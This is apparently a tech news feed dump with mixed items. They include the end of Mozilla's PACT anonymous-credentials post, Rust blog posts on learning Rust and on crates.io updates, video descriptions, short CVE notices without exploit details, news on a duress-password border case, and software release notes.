Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.
The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.
Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.
Next Steps 
We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.
We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. 
If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need. 
Acknowledgements
The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun.  


[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.


The Rust Programming Language Blog: The many journeys of learning Rust
Sat, 25 Jul 2026 08:37:24 +0200
This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.
In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.
As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust
The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO


Rust learning resources
Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant


"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits
It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)


"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab


Learning to work with the borrow checker
We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher
Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs


"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer


Learning by doing
Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust


"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider


Letting go of "clone guilt"
Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.
We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to
The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM


"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries


"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO


Teaching Rust in academia
We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.
What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs
Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate


"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners
We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)


"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider


"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company


Silent attrition
We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider


Feedback on near-bounces from survey
We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.
One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.
Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion
The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions
Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.
That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying
Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.
Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.
Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.
Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.
How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.
Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know
The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.
We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.
The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.


The Rust Programming Language Blog: crates.io: development update
Sat, 25 Jul 2026 08:37:18 +0200
Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.
Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.
The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub
At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.
The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions
In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris
The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed
In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.
We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.
We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous
These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:


Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.


Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.


New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.


Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!


CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.


Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.


Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.


Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.



Feedback
We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!


DLSS 5 (and the Backlash) Explained
Sat, 25 Jul 2026 08:36:26 +0200
Author: Techquickie - Bewertung: 7229x - Views:172802 
Thanks to Micro Center for sponsoring this video! Shop Micro Center's Laptop Savings Event: https://micro.center/a00204



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Visit Micro Center News: https://micro.center/368232



DLSS 5 is here, and it's not what you think. Nvidia's calling it the biggest graphics leap since Ray Tracing, but the same audience that defended DLSS for eight years is calling this one AI slop. So what's actually going on?



In this video, we break down what DLSS 5 actually does, how neural rendering works, why Nvidia's CEO and Nvidia's own engineers are describing the tech differently, and whether the backlash from gamers and developers is justified.



Leave a reply with your requests for future episodes.



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Chapters 

------------------------

00:0 DLSS backstory 

1:20 DLSS 5 explained 

2:20 Why gamers are confused

2:40 Sponsor 

3:14 DLSS 5 unmasked 

4:30 Why gamers are mad 

6:00 Watch another video



Why PC Memory is Stuck in 1995 (Unified Memory Explained)
Sat, 25 Jul 2026 08:36:06 +0200
Author: Techquickie - Bewertung: 10104x - Views:195333 
Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!



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Computer memory is officially worth more than gold, thanks to AI. So why do our CPUs and GPUs still act like selfish jerks and refuse to share it? They can and it's called Unified Memory, and in this video we’re breaking down the physical bottlenecks of traditional PC architecture and explaining how Apple - and now AMD and NVIDIA - are rewriting the rules of hardware efficiency. Special thanks to Professor Prashant Nair from UBC for lending his engineering expertise!



Leave a reply with your requests for future episodes.



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Why The Fastest Memory Isn't In Your PC (HBM explained)
Sat, 25 Jul 2026 08:35:58 +0200
Author: Techquickie - Bewertung: 4552x - Views:77047 
Thanks to Micron for sponsoring this video!



To learn more about High-Bandwidth Memory (HBM), check out: https://www.micron.com/products/memory/hbm



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Modern AI chips don't run on the kind of memory in your gaming PC. They run on something that's literally stacked into a tiny skyscraper, with tens of thousands of microscopic data tunnels drilled through it and a custom silicon motherboard underneath. We sat down with the engineers at Micron to break down how High Bandwidth Memory actually works, why it's the backbone of every serious AI accelerator on the planet, and why your gaming GPU still uses a totally different kind of memory.



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US accuses American of allegedly wiping his phone using a ‘duress’ password during border search
Sat, 25 Jul 2026 05:51:04 +0200
A U.S. citizen has asked a court to throw out the government's claim that he gave over a passcode to border authorities that wiped his phone's data, opening up fresh questions about a person's constitutional rights at the U.S. border.


CVE-2026-22561 | Anthropic Claude Desktop up to 1.1.3362 on Windows Setup.exe uncontrolled search path
Sat, 25 Jul 2026 04:54:26 +0200
A vulnerability classified as problematic was found in Anthropic Claude Desktop up to 1.1.3362 on Windows. The impacted element is an unknown function in the library profapi.dll of the file Setup.exe. The manipulation results in uncontrolled search path.

This vulnerability was named CVE-2026-22561. The attack needs to be approached locally. There is no available exploit.

Upgrading the affected component is advised.


The Ultimate Admin Guide to Deploying Microsoft Scout via Intune
Sat, 25 Jul 2026 03:57:52 +0200
Microsoft Scout (Frontier) is an Autopilot agent and an AI application for Windows and macOS. It can help you edit, search, or create documents in your workplace; execute commands; manage emails, calendar, and Teams messages; or work autonomously (heartbeat mode). You describe your task, and it will carry out the task, similar to Copilot Cowork. […]
This article The Ultimate Admin Guide to Deploying Microsoft Scout via Intune first appeared on TheWindowsClub.com.


CVE-2026-33276 | Checkmk up to 2.5.0b1 Unified Search cross site scripting
Sat, 25 Jul 2026 00:54:19 +0200
A vulnerability classified as problematic has been found in Checkmk up to 2.5.0b1. Affected by this vulnerability is an unknown functionality of the component Unified Search. This manipulation causes cross site scripting.

The identification of this vulnerability is CVE-2026-33276. It is possible to initiate the attack remotely. There is no exploit available.

It is recommended to upgrade the affected component.


Trump threatens EU with new tariffs in response to Google fine
Sat, 25 Jul 2026 00:47:54 +0200
The European Commission found Google's search ranking and anti-steering violated the Digital Markets Act.


v1.18.5
Sat, 25 Jul 2026 00:31:21 +0200
Core
Bugfixes

Improve Claude adaptive thinking handling across more response shapes.
Avoid OpenAI Responses phase handling that could break some conversations.
Preserve grep symlink paths in search results. (@remixz)
Preserve Mistral reasoning history across turns.
Stabilize Mistral prompt caching.
Use the correct prompt cache keys for each SDK.
Fix MiniMax M3 thinking variant selection.

Desktop
Improvements

Support the current server terminal transport.
Support current-server review data in the desktop app.
Update server discovery flows for current servers.
Support current-server session actions, including prompts and commands.
Render current-server session timelines.
Stream current-server events in the desktop app.
Detect legacy and current servers so the desktop app can work with both.

Bugfixes

Restore optimistic timeline updates while responses are still streaming.
Hide legacy-only features when connected to current servers.
Preserve inline file mentions when sending prompts to legacy servers.
Stop auto-accepting config permissions on current servers.
Keep current servers out of the legacy layout.
Show plain file contents in file-specific tabs instead of review diffs.
Keep the prompt input agent toggle in sync.
Keep paginated session timelines in the right order.
Restore directory-scoped session status for legacy servers.
Reload legacy session progress after hydration.

Thank you to 2 community contributors:

@dleopold:

fix(app): classify existing web profiles for layout transition (#38117)


@remixz:

fix(opencode): preserve grep symlink paths (#38581)





IT Security News Daily Summary 2026-07-24
Sat, 25 Jul 2026 00:08:10 +0200
130 posts were published in the last hour 21:34 : Google Fined €890M Under EU Digital Markets Act Over Search and Play Store Practices 21:34 : Friday Squid Blogging: Illex Squid Catch in the Falklands 21:34 : The Department of…
Read more →
The post IT Security News Daily Summary 2026-07-24 appeared first on IT Security News.


US Accuses American of Allegedly Wiping His Phone Using a 'Duress' Password During Border Search
Sat, 25 Jul 2026 00:08:09 +0200
An anonymous reader quotes a report from TechCrunch: The U.S. Justice Department is prosecuting an American for allegedly providing U.S. border authorities with a passcode that wiped the contents of his phone, according to an indictment and media reports. This is thought to be the first known case in the United States where federal prosecutors have charged someone for the alleged destruction of data using a so-called "duress" password built into a phone's software. According to The Guardian, which covered the story earlier this week following the court's first hearing on Monday, Atlanta resident Samuel Tunick is fighting the charges. Tunick's attorneys said that it was unlawful for U.S. Customs and Border Protection to seize his phone as he arrived back in the U.S. last year, and that any evidence -- including the alleged wiping of his phone -- should be thrown out.
 
The case centers on a feature included in GrapheneOS, a custom Android operating system that runs in place of the software on most modern Google Pixel devices. Tunick's attorneys confirmed GrapheneOS was running on his phone. The software feature allows the device owner to set a passcode that deliberately wipes the contents of that device if entered instead of the user's unlock passcode. Tunick's case also raises ongoing questions about what constitutional rights can be invoked at the border, which the U.S. government has long asserted is not U.S. soil until a person is authorized to enter. Bill Budington, a senior staff technologist at the Electronic Frontier Foundation, and Runa Sandvik, a digital security expert who works to protect at-risk people as the founder of security consultancy firm Granitt, told TechCrunch that they had not seen similar cases involving the use of duress passwords.
 
"I have not seen this before, though I've discussed the potential scenario with activists and journalists over the years," said Sandvik. "I think this case serves as a reminder that authorities may argue you knowingly destroyed data, so it's better to not have that data on you when you cross certain borders."
 
"With a little planning ahead of time, you can always download the data you need once you get to where you're going," said Sandvik.






Read more of this story at Slashdot.


IT Security News Hourly Summary 2026-07-25 00h : 4 posts
Sat, 25 Jul 2026 00:08:07 +0200
4 posts were published in the last hour 21:55 : IT Security News Daily Summary 2026-07-24 21:34 : Google Fined €890M Under EU Digital Markets Act Over Search and Play Store Practices 21:34 : Friday Squid Blogging: Illex Squid Catch…
Read more →
